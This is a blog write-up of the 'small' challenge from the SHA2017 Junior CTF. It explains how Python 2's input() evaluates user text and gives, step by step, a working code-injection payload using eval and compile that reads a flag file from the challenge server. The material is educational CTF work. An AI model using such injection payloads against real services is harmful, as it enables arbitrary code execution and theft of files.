small - SHA2017 Junior CTF

SHA2017 Junior CTF is my first ever timed CTF and this is a writeup for my favourite challenge from the weekend.

This challenge has you exploit an input() in Python 2. The tricky part is that the input is multiplied by a string so you need to find a way to get the output of a file and still return a number to be multiplied.

Details

Challenge text:

This program consists of only 4 words, and still they've made a mistake. Read the flag from /home/small/flag
nc small.stillhackinganyway.nl 1337

Program:

print "HACK "*input("Number: ")

This challenge was worth 4 points, which was the highest tier in this CTF. I found that it took me a really long time to figure out. I even brought a pen and paper to dinner. Ultimately it required knowledge of python functions most people don't need to know.

The solution

While the program we're trying to break is pretty simple, it is best to clearly understand whats happening here.

  1. The program starts on the right with the input() function. This creates a prompt for the user that looks like Number: . Internally, input() is actually a wrapper for eval(raw_input()). Oh noes. If you weren't already aware, you should never use eval in code where you can't filter user input first. Now we know there is potential to exploit an eval() method. After a user enters their number, it is evaluated and then multipled to "HACK".
  2. How to get around the multiplication? The input() needs to evaluate to a number. There isn't really any other way to do this.
  3. Finally, the result is printed.

Having a clear understanding of input() and how it will interact with the rest of the statement is the key in this challenge.

Here is the solution I came to:

int(eval(compile('print open("/home/small/flag", "r").readlines()', '<string>', 'exec')) or 0)

Break down

While we're breaking this down, feel free to open a Python REPL so that you can follow along. Now, lets break down the solution starting from the outside:

int(<command> or 0)

This guarantees we're getting an integer no matter what our command returns. Try these in your REPL:

int('' or 0)
int(None or 0)

eval()

This is so that we run the code object from the next step.

compile('print ..', '<string>', 'exec')

Next we fill the mandatory fields to compile the statement that will read our flag. The first argument is the statement we want to run. The second is a filename, though in this case we just say <string> which is the common pattern for string input. Finally we use mode. There are three options here but its best to read a (really) good explantion.

Now what does this look like if you run it through your REPL?

>>> compile('print "hello"', '<string>', 'exec')
<code object <module> at 0x7fb0def20d30, file "<string>", line 1>

And if you tie this together with eval you can see where we're going with this exploit.

>>> eval(compile('print "hello"', '<string>', 'exec'))
hello
>>> print eval(compile('print "hello"', '<string>', 'exec'))
hello
None
>>> print int(eval(compile('print "hello"', '<string>', 'exec')) or 0)
hello
0

print open("/home/small/flag", "r").readlines()

Finally, we add in the command that dumps the flag to the screen. This is likely the most straightforward part.

Finale

As part of writing up this exploit, I realised you can safely drop the int() method as long as you keep None or 0. This is useful if there was a length limit. Or for the sake of efficiency.

Getting this exploit together was a tough one. It took a lot of time to figure out that there was an eval and an exec. It took a lot of time to get out of the mindset of SQL injections (5; print 'flag' failed over and over).

As I stated earlier, this was my favourite challenge by far. The amount of pieces that needed to come together, needing to learn weird bits of python, and the amount of time spent turning this over made it really fun. It was a great feeling to be able to complete this and I am looking forward to my next CTF.